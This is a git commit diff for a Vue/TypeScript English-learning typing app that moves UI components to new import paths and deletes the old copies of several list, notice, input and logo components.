fix:move components,parse sentences using regular expressions

This commit is contained in:
zyronon
2025-09-19 23:37:02 +08:00
parent 9113d772a3
commit ff1c4f4afc
81 changed files with 337 additions and 413 deletions

View File

@@ -1,20 +1,21 @@
<script setup lang="ts">
import {useBaseStore} from "@/stores/base.ts";
import {useRouter} from "vue-router";
import BasePage from "@/pages/pc/components/BasePage.vue";
import {_getDictDataByUrl, useNav} from "@/utils";
import BasePage from "@/components/BasePage.vue";
import {_getDictDataByUrl, cloneDeep, useNav} from "@/utils";
import {DictResource, DictType} from "@/types/types.ts";
import {useRuntimeStore} from "@/stores/runtime.ts";
import BaseIcon from "@/components/BaseIcon.vue";
import Book from "@/pages/pc/components/Book.vue";
import Progress from '@/pages/pc/components/base/Progress.vue';
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import Book from "@/components/Book.vue";
import Progress from '@/components/base/Progress.vue';
import Toast from '@/components/base/toast/Toast.ts'
import BaseButton from "@/components/BaseButton.vue";
import PopConfirm from "@/pages/pc/components/PopConfirm.vue";
import PopConfirm from "@/components/PopConfirm.vue";
import {onMounted, watch} from "vue";
import {getDefaultDict} from "@/types/func.ts";
import DeleteIcon from "@/components/icon/DeleteIcon.vue";
import recommendBookList from "@/assets/book-list.json";
import {genArticleSectionData} from "@/hooks/article.ts";
const {nav} = useNav()
const base = useBaseStore()
@@ -34,6 +35,9 @@ async function init() {
}
function startStudy() {
// console.log(store.sbook.articles[1])
// genArticleSectionData(cloneDeep(store.sbook.articles[1]))
// return
if (base.sbook.id) {
if (!base.sbook.articles.length) {
return Toast.warning('没有文章可学习!')

View File

@@ -4,16 +4,16 @@ import BaseButton from "@/components/BaseButton.vue";
import {_nextTick, cloneDeep, loadJsLib} from "@/utils";
import {useBaseStore} from "@/stores/base.ts";
import List from "@/pages/pc/components/list/List.vue";
import List from "@/components/list/List.vue";
import {useWindowClick} from "@/hooks/event.ts";
import {MessageBox} from "@/utils/MessageBox.tsx";
import {useRuntimeStore} from "@/stores/runtime.ts";
import {nanoid} from "nanoid";
import EditArticle from "@/pages/pc/article/components/EditArticle.vue";
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import EditArticle from "@/pages/article/components/EditArticle.vue";
import Toast from '@/components/base/toast/Toast.ts'
import {getDefaultArticle} from "@/types/func.ts";
import BackIcon from "@/pages/pc/components/BackIcon.vue";
import MiniDialog from "@/pages/pc/components/dialog/MiniDialog.vue";
import BackIcon from "@/components/BackIcon.vue";
import MiniDialog from "@/components/dialog/MiniDialog.vue";
import {onMounted} from "vue";
import {Origin} from "@/config/ENV.ts";

View File

@@ -1,22 +1,22 @@
<script setup lang="ts">
import BasePage from "@/pages/pc/components/BasePage.vue";
import BackIcon from "@/pages/pc/components/BackIcon.vue";
import BasePage from "@/components/BasePage.vue";
import BackIcon from "@/components/BackIcon.vue";
import Empty from "@/components/Empty.vue";
import ArticleList from "@/pages/pc/components/list/ArticleList.vue";
import ArticleList from "@/components/list/ArticleList.vue";
import {useBaseStore} from "@/stores/base.ts";
import {Article, Dict, DictId, DictType} from "@/types/types.ts";
import {useRuntimeStore} from "@/stores/runtime.ts";
import BaseButton from "@/components/BaseButton.vue";
import {useRoute, useRouter} from "vue-router";
import EditBook from "@/pages/pc/article/components/EditBook.vue";
import EditBook from "@/pages/article/components/EditBook.vue";
import {computed, onMounted} from "vue";
import {_dateFormat, _getDictDataByUrl, cloneDeep, msToHourMinute, total, useNav} from "@/utils";
import BaseIcon from "@/components/BaseIcon.vue";
import {useArticleOptions} from "@/hooks/dict.ts";
import {getDefaultArticle, getDefaultDict} from "@/types/func.ts";
import Toast from "@/pages/pc/components/base/toast/Toast.ts";
import ArticleAudio from "@/pages/pc/article/components/ArticleAudio.vue";
import Toast from "@/components/base/toast/Toast.ts";
import ArticleAudio from "@/pages/article/components/ArticleAudio.vue";
import {MessageBox} from "@/utils/MessageBox.tsx";
import book_list from "@/assets/book-list.json";
@@ -185,7 +185,7 @@ const totalSpend = $computed(() => {
<div class="font-family text-base mb-4" v-if="currentPractice.length">
<div>学习记录{{ msToHourMinute(total(currentPractice, 'spend'))}}</div>
<div class="item" v-for="i in currentPractice">
{{_dateFormat(i.startDate,'YYYY-MM-DD HH-mm')}}: {{ msToHourMinute(i.spend) }}
{{_dateFormat(i.startDate,'YYYY/MM/DD HH-mm')}}: {{ msToHourMinute(i.spend) }}
</div>
</div>
<div class="en-article-family title text-xl">

View File

@@ -1,14 +1,14 @@
<script setup lang="ts">
import {useNav} from "@/utils";
import BasePage from "@/pages/pc/components/BasePage.vue";
import BasePage from "@/components/BasePage.vue";
import {DictResource} from "@/types/types.ts";
import {useRuntimeStore} from "@/stores/runtime.ts";
import BaseIcon from "@/components/BaseIcon.vue";
import Empty from "@/components/Empty.vue";
import Input from "@/pages/pc/components/Input.vue";
import Input from "@/components/Input.vue";
import BaseButton from "@/components/BaseButton.vue";
import DictList from "@/pages/pc/components/list/DictList.vue";
import BackIcon from "@/pages/pc/components/BackIcon.vue";
import DictList from "@/components/list/DictList.vue";
import BackIcon from "@/components/BackIcon.vue";
import {useRouter} from "vue-router";
import book_list from "@/assets/book-list.json";
import {computed} from "vue";

View File

@@ -7,25 +7,25 @@ import {useSettingStore} from "@/stores/setting.ts";
import {Article, ArticleItem, ArticleWord, Dict, DictType, ShortcutKey, Statistics, Word} from "@/types/types.ts";
import {useDisableEventListener, useOnKeyboardEventListener, useStartKeyboardEventListener} from "@/hooks/event.ts";
import useTheme from "@/hooks/theme.ts";
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import Toast from '@/components/base/toast/Toast.ts'
import {_getDictDataByUrl, cloneDeep, msToHourMinute, msToMinute, total} from "@/utils";
import {usePracticeStore} from "@/stores/practice.ts";
import {useArticleOptions} from "@/hooks/dict.ts";
import {genArticleSectionData, usePlaySentenceAudio} from "@/hooks/article.ts";
import {getDefaultArticle, getDefaultDict, getDefaultWord} from "@/types/func.ts";
import TypingArticle from "@/pages/pc/article/components/TypingArticle.vue";
import TypingArticle from "@/pages/article/components/TypingArticle.vue";
import BaseIcon from "@/components/BaseIcon.vue";
import Panel from "@/pages/pc/components/Panel.vue";
import ArticleList from "@/pages/pc/components/list/ArticleList.vue";
import EditSingleArticleModal from "@/pages/pc/article/components/EditSingleArticleModal.vue";
import Tooltip from "@/pages/pc/components/base/Tooltip.vue";
import ConflictNotice from "@/pages/pc/components/ConflictNotice.vue";
import Panel from "@/components/Panel.vue";
import ArticleList from "@/components/list/ArticleList.vue";
import EditSingleArticleModal from "@/pages/article/components/EditSingleArticleModal.vue";
import Tooltip from "@/components/base/Tooltip.vue";
import ConflictNotice from "@/components/ConflictNotice.vue";
import {useRoute, useRouter} from "vue-router";
import book_list from "@/assets/book-list.json";
import PracticeLayout from "@/pages/pc/components/PracticeLayout.vue";
import Switch from "@/pages/pc/components/base/Switch.vue";
import Audio from "@/pages/pc/components/base/Audio.vue";
import ArticleAudio from "@/pages/pc/article/components/ArticleAudio.vue";
import PracticeLayout from "@/components/PracticeLayout.vue";
import Switch from "@/components/base/Switch.vue";
import Audio from "@/components/base/Audio.vue";
import ArticleAudio from "@/pages/article/components/ArticleAudio.vue";
const store = useBaseStore()
const settingStore = useSettingStore()

View File

@@ -3,7 +3,7 @@ import {Article} from "@/types/types.ts";
import {watch} from "vue";
import {LOCAL_FILE_KEY} from "@/utils/const.ts";
import {get} from "idb-keyval";
import Audio from "@/pages/pc/components/base/Audio.vue";
import Audio from "@/components/base/Audio.vue";
const props = defineProps<{
article: Article

View File

@@ -2,28 +2,28 @@
import {Article, Sentence, TranslateEngine} from "@/types/types.ts";
import BaseButton from "@/components/BaseButton.vue";
import EditAbleText from "@/pages/pc/components/EditAbleText.vue";
import EditAbleText from "@/components/EditAbleText.vue";
import {getNetworkTranslate, getSentenceAllText, getSentenceAllTranslateText} from "@/hooks/translate.ts";
import {genArticleSectionData, splitCNArticle2, splitEnArticle2, usePlaySentenceAudio} from "@/hooks/article.ts";
import {_nextTick, _parseLRC, cloneDeep, last} from "@/utils";
import {defineAsyncComponent, watch} from "vue";
import Empty from "@/components/Empty.vue";
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import Toast from '@/components/base/toast/Toast.ts'
import * as Comparison from "string-comparison"
import BaseIcon from "@/components/BaseIcon.vue";
import {getDefaultArticle} from "@/types/func.ts";
import copy from "copy-to-clipboard";
import {Option, Select} from "@/pages/pc/components/base/select";
import Tooltip from "@/pages/pc/components/base/Tooltip.vue";
import InputNumber from "@/pages/pc/components/base/InputNumber.vue";
import {Option, Select} from "@/components/base/select";
import Tooltip from "@/components/base/Tooltip.vue";
import InputNumber from "@/components/base/InputNumber.vue";
import {nanoid} from "nanoid";
import {update} from "idb-keyval";
import {LOCAL_FILE_KEY} from "@/utils/const.ts";
import ArticleAudio from "@/pages/pc/article/components/ArticleAudio.vue";
import BaseInput from "@/pages/pc/components/base/BaseInput.vue";
import Textarea from "@/pages/pc/components/base/Textarea.vue";
import ArticleAudio from "@/pages/article/components/ArticleAudio.vue";
import BaseInput from "@/components/base/BaseInput.vue";
import Textarea from "@/components/base/Textarea.vue";
const Dialog = defineAsyncComponent(() => import('@/pages/pc/components/dialog/Dialog.vue'))
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
interface IProps {
article?: Article,

View File

@@ -2,16 +2,16 @@
import {Dict, DictId, DictType} from "@/types/types.ts";
import {cloneDeep} from "@/utils";
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import Toast from '@/components/base/toast/Toast.ts'
import {onMounted, reactive} from "vue";
import {useRuntimeStore} from "@/stores/runtime.ts";
import {useBaseStore} from "@/stores/base.ts";
import BaseButton from "@/components/BaseButton.vue";
import {getDefaultDict} from "@/types/func.ts";
import {Option, Select} from "@/pages/pc/components/base/select";
import BaseInput from "@/pages/pc/components/base/BaseInput.vue";
import Form from "@/pages/pc/components/base/form/Form.vue";
import FormItem from "@/pages/pc/components/base/form/FormItem.vue";
import {Option, Select} from "@/components/base/select";
import BaseInput from "@/components/base/BaseInput.vue";
import Form from "@/components/base/form/Form.vue";
import FormItem from "@/components/base/form/FormItem.vue";
const props = defineProps<{
isAdd: boolean,

View File

@@ -2,11 +2,11 @@
import {Article} from "@/types/types.ts";
import {useDisableEventListener} from "@/hooks/event.ts";
import EditArticle from "@/pages/pc/article/components/EditArticle.vue";
import EditArticle from "@/pages/article/components/EditArticle.vue";
import {getDefaultArticle} from "@/types/func.ts";
import {defineAsyncComponent} from "vue";
const Dialog = defineAsyncComponent(() => import('@/pages/pc/components/dialog/Dialog.vue'))
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
interface IProps {
article?: Article

View File

@@ -45,7 +45,7 @@
<script setup lang="ts">
import {ref, useTemplateRef} from 'vue'
import QuestionItem from './QuestionItem.vue'
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import Toast from '@/components/base/toast/Toast.ts'
interface IProps {
questions: Array,

View File

@@ -10,11 +10,11 @@ import '@imengyu/vue3-context-menu/lib/vue3-context-menu.css'
import ContextMenu from '@imengyu/vue3-context-menu'
import {getTranslateText} from "@/hooks/article.ts";
import BaseButton from "@/components/BaseButton.vue";
import QuestionForm from "@/pages/pc/article/components/QuestionForm.vue";
import QuestionForm from "@/pages/article/components/QuestionForm.vue";
import {getDefaultArticle, getDefaultWord} from "@/types/func.ts";
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import TypingWord from "@/pages/pc/article/components/TypingWord.vue";
import Space from "@/pages/pc/article/components/Space.vue";
import Toast from '@/components/base/toast/Toast.ts'
import TypingWord from "@/pages/article/components/TypingWord.vue";
import Space from "@/pages/article/components/Space.vue";
import {useWordOptions} from "@/hooks/dict.ts";
import nlp from "compromise/three";
import {nanoid} from "nanoid";

View File

@@ -1,6 +1,6 @@
<script setup lang="tsx">
import {useSettingStore} from "@/stores/setting.ts";
import Space from "@/pages/pc/article/components/Space.vue";
import Space from "@/pages/article/components/Space.vue";
//
// import {ArticleWord} from "@/types/types.ts";

View File

@@ -4,7 +4,7 @@ import BaseButton from "@/components/BaseButton.vue";
import BaseIcon from "@/components/BaseIcon.vue";
import {defineAsyncComponent} from "vue";
const Dialog = defineAsyncComponent(() => import('@/pages/pc/components/dialog/Dialog.vue'))
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
let showWechatDialog = $ref(false)
let showXhsDialog = $ref(false)
</script>

View File

@@ -1,7 +1,7 @@
<script setup lang="ts">
import {ShortcutKey} from "@/types/types.ts";
import Logo from "@/pages/pc/components/Logo.vue";
import Logo from "@/components/Logo.vue";
import {useSettingStore} from "@/stores/setting.ts";
import {useRouter} from "vue-router";
import useTheme from "@/hooks/theme.ts";

View File

@@ -1,17 +0,0 @@
<script setup lang="ts">
import EditArticle from "@/pages/pc/article/components/EditArticle.vue";
import BackIcon from "@/pages/pc/components/BackIcon.vue";
</script>
<template>
<div class="h-screen">
<BackIcon/>
<EditArticle class="vue"></EditArticle>
</div>
</template>
<style scoped lang="scss">
</style>

View File

@@ -1,27 +0,0 @@
<script setup lang="ts">
import BaseIcon from "@/components/BaseIcon.vue";
import {useAttrs} from "vue";
import router from "@/router.ts";
const attrs = useAttrs()
function onClick() {
if (!attrs.onClick) {
router.back()
}
}
</script>
<template>
<BaseIcon
title="返回"
@click="onClick"
>
<IconFluentChevronLeft28Filled/>
</BaseIcon>
</template>
<style scoped lang="scss">
</style>

View File

@@ -1,18 +0,0 @@
<script setup lang="ts">
</script>
<template>
<div class="flex justify-center">
<div class="page w-[70vw] 2xl:w-[50vw]">
<slot></slot>
</div>
</div>
</template>
<style scoped lang="scss">
.page {
min-height: calc(100vh - 1.2rem);
margin-top: 1.2rem;
}
</style>

View File

@@ -1,299 +0,0 @@
<script setup lang="tsx">
import {nextTick, useSlots} from "vue";
import {Sort} from "@/types/types.ts";
import MiniDialog from "@/pages/pc/components/dialog/MiniDialog.vue";
import BaseIcon from "@/components/BaseIcon.vue";
import BaseButton from "@/components/BaseButton.vue";
import {cloneDeep, debounce, reverse, shuffle} from "@/utils";
import Input from "@/pages/pc/components/Input.vue";
import PopConfirm from "@/pages/pc/components/PopConfirm.vue";
import Empty from "@/components/Empty.vue";
import Pagination from '@/pages/pc/components/base/Pagination.vue'
import Toast from '@/pages/pc/components/base/toast/Toast.ts'
import Checkbox from "@/pages/pc/components/base/checkbox/Checkbox.vue";
import DeleteIcon from "@/components/icon/DeleteIcon.vue";
import Dialog from "@/pages/pc/components/dialog/Dialog.vue";
let list = defineModel('list')
const props = withDefaults(defineProps<{
loading?: boolean
showToolbar?: boolean
exportLoading?: boolean
importLoading?: boolean
del?: Function
batchDel?: Function
add?: Function
}>(), {
loading: true,
showToolbar: true,
exportLoading: false,
importLoading: false,
del: () => void 0,
add: () => void 0,
batchDel: () => void 0
})
const emit = defineEmits<{
click: [val: {
item: any,
index: number
}],
importData: [e: Event]
exportData: []
}>()
let listRef: any = $ref()
function scrollToBottom() {
nextTick(() => {
listRef?.scrollTo(0, listRef.scrollHeight)
})
}
function scrollToTop() {
nextTick(() => {
listRef?.scrollTo(0, 0)
})
}
function scrollToItem(index: number) {
nextTick(() => {
listRef?.children[index]?.scrollIntoView({block: 'center', behavior: 'smooth'})
})
}
let pageNo = $ref(1)
let pageSize = $ref(50)
let currentList = $computed(() => {
if (searchKey) {
return list.value.filter(v => v.word.includes(searchKey))
}
return list.value.slice((pageNo - 1) * pageSize, (pageNo - 1) * pageSize + pageSize)
})
let selectIds = $ref([])
let selectAll = $computed(() => {
return !!selectIds.length
})
function toggleSelect(item) {
let rIndex = selectIds.findIndex(v => v === item.id)
if (rIndex > -1) {
selectIds.splice(rIndex, 1)
} else {
selectIds.push(item.id)
}
}
function toggleSelectAll() {
if (selectAll) {
selectIds = []
} else {
selectIds = currentList.map(v => v.id)
}
}
let searchKey = $ref('')
let showSortDialog = $ref(false)
let showSearchInput = $ref(false)
let showImportDialog = $ref(false)
const closeImportDialog = () => showImportDialog = false
function sort(type: Sort) {
if (type === Sort.reverse) {
Toast.success('已翻转排序')
list.value = reverse(cloneDeep(list.value))
}
if (type === Sort.random) {
Toast.success('已随机排序')
list.value = shuffle(cloneDeep(list.value))
}
showSortDialog = false
}
function handleBatchDel() {
props.batchDel(selectIds)
selectIds = []
}
function handlePageNo(e) {
pageNo = e
scrollToTop()
}
const s = useSlots()
defineExpose({
scrollToBottom,
scrollToItem,
closeImportDialog
})
defineRender(
() => {
const d = (item) => <Checkbox
modelValue={selectIds.includes(item.id)}
onChange={() => toggleSelect(item)}
size="large"/>
return (
<div class="flex flex-col gap-3">
{
props.showToolbar && <div>
{
showSearchInput ? (
<div class="flex gap-4">
<Input
prefixIcon
modelValue={searchKey}
onUpdate:modelValue={debounce(e => searchKey = e)}
class="flex-1"/>
<BaseButton onClick={() => (showSearchInput = false, searchKey = '')}>取消</BaseButton>
</div>
) : (
<div class="flex justify-between">
<div class="flex gap-2 items-center">
<Checkbox
disabled={!currentList.length}
onChange={() => toggleSelectAll()}
modelValue={selectAll}
size="large"/>
<span>{selectIds.length} / {list.value.length}</span>
</div>
<div class="flex gap-2 relative">
{
selectIds.length ?
<PopConfirm title="确认删除所有选中数据?"
onConfirm={handleBatchDel}
>
<BaseIcon
class="del"
title="删除">
<DeleteIcon/>
</BaseIcon>
</PopConfirm>
: null
}
<BaseIcon
onClick={() => showImportDialog = true}
title="导入">
<IconSystemUiconsImport/>
</BaseIcon>
<BaseIcon
onClick={() => emit('exportData')}
title="导出">
{props.exportLoading ? <IconEosIconsLoading/> : <IconPhExportLight/>}
</BaseIcon>
<BaseIcon
onClick={props.add}
title="添加单词">
<IconFluentAdd20Regular/>
</BaseIcon>
<BaseIcon
disabled={!currentList.length}
title="改变顺序"
onClick={() => showSortDialog = !showSortDialog}
>
<IconFluentArrowSort20Regular/>
</BaseIcon>
<BaseIcon
disabled={!currentList.length}
onClick={() => showSearchInput = !showSearchInput}
title="搜索">
<IconFluentSearch20Regular/>
</BaseIcon>
<MiniDialog
modelValue={showSortDialog}
onUpdate:modelValue={e => showSortDialog = e}
style="width: 8rem;"
>
<div class="mini-row-title">
列表顺序设置
</div>
<div class="mini-row">
<BaseButton size="small" onClick={() => sort(Sort.reverse)}>翻转
</BaseButton>
<BaseButton size="small" onClick={() => sort(Sort.random)}>随机</BaseButton>
</div>
</MiniDialog>
</div>
</div>
)
}
</div>
}
{
props.loading ?
<div class="h-full w-full center text-4xl">
<IconEosIconsLoading color="gray"/>
</div>
: currentList.length ? (
<>
<div class="flex-1 overflow-auto"
ref={e => listRef = e}>
{currentList.map((item, index) => {
return (
<div class="list-item-wrapper"
key={item.word}
>
{s.default({checkbox: d, item, index: (pageSize * (pageNo - 1)) + index + 1})}
</div>
)
})}
</div>
<div class="flex justify-end">
<Pagination
currentPage={pageNo}
onUpdate:current-page={handlePageNo}
pageSize={pageSize}
onUpdate:page-size={(e) => pageSize = e}
pageSizes={[20, 50, 100, 200]}
layout="prev, pager, next"
total={list.value.length}/>
</div>
</>
) : <Empty/>
}
<Dialog modelValue={showImportDialog}
onUpdate:modelValue={closeImportDialog}
title="导入教程"
>
<div className="w-100 p-4 pt-0">
<div>请按照模板的格式来填写数据</div>
<div class="color-red">单词项为必填其他项可不填</div>
<div>翻译一行一个翻译前面词性后面内容如n.取消多个翻译请换行</div>
<div>例句一行原文一行译文多个请换<span class="color-red"></span></div>
<div>短语一行原文一行译文多个请换<span class="color-red"></span></div>
<div>同义词同根词词源请前往官方字典然后编辑其中某个单词参考其格式</div>
<div class="mt-6">
模板下载地址<a href="https://2study.top/libs/单词导入模板.xlsx">单词导入模板</a>
</div>
<div class="mt-4">
<BaseButton
onClick={() => {
let d: HTMLDivElement = document.querySelector('#upload-trigger')
d.click()
}}
loading={props.importLoading}>导入</BaseButton>
<input
id="upload-trigger"
type="file"
accept=".csv, application/vnd.openxmlformats-officedocument.spreadsheetml.sheet, application/vnd.ms-excel"
onChange={e => emit('importData', e)}
class="w-0 h-0 opacity-0"/>
</div>
</div>
</Dialog>
</div>
)
}
)
</script>
<style scoped lang="scss">
</style>

View File

@@ -1,66 +0,0 @@
<script setup lang="ts">
import {Dict} from "@/types/types.ts";
import Progress from '@/pages/pc/components/base/Progress.vue'
import Checkbox from "@/pages/pc/components/base/checkbox/Checkbox.vue";
const props = defineProps<{
item?: Partial<Dict>;
quantifier?: string
isAdd: boolean
showCheckbox?: boolean
checked?: boolean
}>()
defineEmits<{
check: []
}>()
const progress = $computed(() => {
if (props.item?.complete) return 100
return Number(((props.item?.lastLearnIndex / props.item?.length) * 100).toFixed())
})
const studyProgress = $computed(() => {
if (props.item.complete) return props.item?.length + '/'
return props.item?.lastLearnIndex ? props.item?.lastLearnIndex + '/' : ''
})
</script>
<template>
<div class="book relative overflow-hidden">
<template v-if="!isAdd">
<div>
<div class="text-base">{{ item?.name }}</div>
<div class="text-sm line-clamp-3" v-opacity="item.name !== item.description">{{ item?.description }}</div>
</div>
<div class="absolute bottom-4 right-3">
<div>{{ studyProgress }}{{ item?.length }}{{ quantifier }}</div>
</div>
<div class="absolute bottom-2 left-3 right-3">
<Progress v-if="item?.lastLearnIndex || item.complete" class="mt-1"
:percentage="progress"
:show-text="false"></Progress>
</div>
<Checkbox v-if="showCheckbox"
:model-value="checked"
@change="$emit('check')"
class="absolute left-3 bottom-3"/>
<div class="custom" v-if="item.custom">自定义</div>
</template>
<div v-else class="center h-full text-2xl">
<IconFluentAdd16Regular/>
</div>
</div>
</template>
<style scoped lang="scss">
.custom {
position: absolute;
top: 4px;
right: -22px;
padding: 1px 20px;
background: whitesmoke;
font-size: 11px;
transform: rotate(45deg);
}
</style>

View File

@@ -1,189 +0,0 @@
<script setup lang="ts">
import Close from "@/components/icon/Close.vue";
import BaseButton from "@/components/BaseButton.vue";
import {watch} from "vue";
import {useSettingStore} from "@/stores/setting.ts";
import {isMobile} from "@/utils";
import {ProjectName, Host} from "@/config/ENV.ts";
let settingStore = useSettingStore()
let showNotice = $ref(false)
let show = $ref(false)
let num = $ref(5)
let timer = -1
let mobile = $ref(isMobile())
const isMac = /macintosh|mac os x/i.test(navigator.userAgent);
function toggleNotice() {
showNotice = true
settingStore.first = false
timer = setInterval(() => {
num--
if (num <= 0) close()
}, 1000)
}
function close() {
clearInterval(timer)
show = settingStore.first = false
}
watch(() => settingStore.load, (n) => {
if (n && settingStore.first) {
setTimeout(() => {
show = true
}, 1000)
}
}, {immediate: true})
</script>
<template>
<transition name="right">
<div class="CollectNotice"
:class="{mobile}"
v-if="show">
<div class="notice">
坚持练习提高外语能力
<span class="active">{{ ProjectName }}</span>
保存为书签永不迷失
</div>
<div class="wrapper">
<transition name="fade">
<div class="collect" v-if="showNotice">
<div class="href-wrapper">
<div class="round">
<div class="href">{{ Host }}</div>
<IconFluentStar12Regular width="22"/>
</div>
<div class="right">
👈
<IconFluentStar20Filled class="star" width="22"/>
点亮它!
</div>
</div>
<div class="collect-keyboard" v-if="!mobile">或使用收藏快捷键<span
class="active">{{ isMac ? 'Command' : 'Ctrl' }} + D</span></div>
</div>
<BaseButton v-else size="large" @click="toggleNotice">我想收藏</BaseButton>
</transition>
</div>
<div class="close-wrapper">
<span v-show="showNotice"><span class="active">{{ num }}s</span> 后自动关闭</span>
<Close @click="close" title="关闭"/>
</div>
</div>
</transition>
</template>
<style scoped lang="scss">
.right-enter-active,
.right-leave-active {
transition: all .5s ease;
}
.right-enter-from,
.right-leave-to {
transform: translateX(110%);
}
.CollectNotice {
position: fixed;
right: var(--space);
top: var(--space);
z-index: 2;
font-size: 1.2rem;
display: flex;
flex-direction: column;
align-items: center;
background: var(--color-notice-bg);
padding: 1.8rem;
border-radius: 0.7rem;
width: 30rem;
gap: 2.4rem;
color: var(--color-font-1);
line-height: 1.5;
border: 1px solid var(--color-item-border);
box-shadow: var(--shadow);
box-sizing: border-box;
&.mobile {
width: 95%;
padding: 0.6rem;
}
.notice {
margin-top: 2.4rem;
}
.active {
color: var(--color-select-bg);
}
.wrapper {
.collect {
display: flex;
flex-direction: column;
align-items: center;
.href-wrapper {
display: flex;
font-size: 1rem;
align-items: center;
gap: 0.6rem;
.round {
color: var(--color-font-1);
border-radius: 3rem;
padding: 0.6rem 0.6rem;
padding-left: 1.2rem;
gap: 2rem;
display: flex;
align-items: center;
justify-content: space-between;
background: var(--color-primary);
.href {
font-size: 0.9rem;
}
}
.star {
color: var(--color-select-bg);
}
.right {
display: flex;
align-items: center;
}
}
.collect-keyboard {
margin-top: 1.2rem;
font-size: 1rem;
span {
margin-left: 0.6rem;
}
}
}
}
.close-wrapper {
right: var(--space);
top: var(--space);
position: absolute;
font-size: 0.9rem;
display: flex;
justify-content: flex-end;
align-items: center;
color: var(--color-font-1);
gap: 0.6rem;
}
}
</style>

View File

@@ -1,49 +0,0 @@
<script setup lang="ts">
import {defineAsyncComponent, onMounted, watch} from "vue";
import {useSettingStore} from "@/stores/setting.ts";
const Dialog = defineAsyncComponent(() => import('@/pages/pc/components/dialog/Dialog.vue'))
let settingStore = useSettingStore()
let show = $ref(false)
watch(() => settingStore.load, (n) => {
if (n && settingStore.conflictNotice) {
setTimeout(() => {
show = true
}, 300)
}
}, {immediate: true})
</script>
<template>
<Dialog v-model="show"
title="提示"
footer
cancel-button-text="不再提醒"
confirm-button-text="关闭"
@cancel="settingStore.conflictNotice = false"
>
<div class="card w-120 center flex-col color-main py-0 mb-0">
<div>
<div class="text">
1 如果您安装了 <span class="font-bold text-red">调速 Vim</span> 等会接管键盘点击的插件/脚本将导致本网站无法正常使用
</div>
<div class="pl-4">
<div>在对应插件/脚本的设置里面排除本网站</div>
<div>临时禁用对应插件/脚本</div>
</div>
<div class="text mt-2">
2如果您未安装以上插件/脚本还是无法使用
</div>
<div class="pl-4">
<div>请打开浏览器无痕模式尝试</div>
<div>无痕模式下无法正常使用请给<a href="https://github.com/zyronon/TypeWords/issues">作者提 BUG</a>
</div>
</div>
</div>
</div>
</Dialog>
</template>

View File

@@ -1,79 +0,0 @@
<script setup lang="ts">
import BaseButton from "@/components/BaseButton.vue";
import {watchEffect} from "vue";
import Textarea from "@/pages/pc/components/base/Textarea.vue";
import Toast from "@/pages/pc/components/base/toast/Toast.ts";
interface IProps {
value: string,
disabled: boolean,
}
const props = withDefaults(defineProps<IProps>(), {
value: '',
disabled: false,
})
const emit = defineEmits([
'save'
])
let editVal = $ref('')
let edit = $ref(false)
watchEffect(() => {
editVal = props.value
})
function save() {
emit('save', editVal)
edit = false
}
function toggle() {
if (props.disabled) return Toast.info('请等候翻译完成')
edit = !edit
editVal = props.value
}
</script>
<template>
<div
v-if="edit"
class="edit-text">
<Textarea
v-model="editVal"
ref="inputRef"
textarea
autosize
autofocus
type="textarea"
:input-style="`color: var(--color-font-1);font-size: 1rem;`"
/>
<div class="flex justify-end mt-2">
<BaseButton @click="toggle">取消</BaseButton>
<BaseButton @click="save">应用</BaseButton>
</div>
</div>
<div
v-else
class="text"
@click="toggle">
{{ value }}
</div>
</template>
<style scoped lang="scss">
.edit-text {
margin-top: .6rem;
color: var(--color-font-1);
}
.text {
color: var(--color-font-1);
font-size: 1.2rem;
min-height: 1.1rem;
}
</style>

View File

@@ -1,97 +0,0 @@
<script setup lang="ts">
import Close from "@/components/icon/Close.vue";
import {useDisableEventListener, useWindowClick} from "@/hooks/event.ts";
defineProps<{
modelValue: string
placeholder?: string
autofocus?: boolean
prefixIcon?: boolean
}>()
defineEmits(['update:modelValue'])
let focus = $ref(false)
let inputEl = $ref<HTMLDivElement>()
useWindowClick((e: PointerEvent) => {
if (!e) return
focus = inputEl.contains(e.target as any);
})
useDisableEventListener(() => focus)
const vFocus = {
mounted: (el, bind) => {
if (bind.value) {
el.focus()
setTimeout(() => focus = true)
}
}
}
</script>
<template>
<div class="base-input"
:class="{focus}"
ref="inputEl"
>
<IconFluentSearch24Regular
v-if="prefixIcon"
width="20"/>
<input type="text"
:value="modelValue"
v-focus="autofocus"
:placeholder="placeholder"
@input="e=>$emit('update:modelValue',e.target.value)"
>
<transition name="fade">
<Close v-if="modelValue" @click="$emit('update:modelValue','')"/>
</transition>
</div>
</template>
<style scoped lang="scss">
.base-input {
border: 1px solid var(--color-input-border);
border-radius: .4rem;
overflow: hidden;
padding: .2rem .3rem;
transition: all .3s;
display: flex;
align-items: center;
background: var(--color-input-bg);
:deep(svg) {
transition: all .3s;
color: var(--color-input-icon);
}
&.focus {
border: 1px solid var(--color-select-bg);
:deep(svg) {
color: gray;
}
}
input {
font-family: var(--font-family);
font-size: 1.1rem;
outline: none;
min-height: 1.2rem;
flex: 1;
box-sizing: border-box;
outline: none;
border: none;
background: transparent;
&[readonly] {
cursor: not-allowed;
opacity: .7;
}
}
}
</style>

View File

@@ -1,24 +0,0 @@
<script setup lang="ts">
import {useSettingStore} from "@/stores/setting.ts";
import router from "@/router.ts";
const settingStore = useSettingStore()
function goHome() {
router.push('/')
}
</script>
<template>
<div class="center mb-2" @click="goHome">
<img v-show="settingStore.theme === 'dark'" src="/logo-text-white.png" alt="">
<img v-show="settingStore.theme !== 'dark'" src="/logo-text-black.png" alt="">
</div>
</template>
<style scoped lang="scss">
img {
cursor: pointer;
height: 2rem;
}
</style>

View File

@@ -1,45 +0,0 @@
<script setup lang="ts">
import {computed, provide} from "vue"
import {ShortcutKey} from "@/types/types.ts"
import {useSettingStore} from "@/stores/setting.ts";
import Close from "@/components/icon/Close.vue";
import Tooltip from "@/pages/pc/components/base/Tooltip.vue";
const settingStore = useSettingStore()
let tabIndex = $ref(0)
provide('tabIndex', computed(() => tabIndex))
</script>
<template>
<Transition name="fade">
<div class="panel anim" v-bind="$attrs" v-show="settingStore.showPanel">
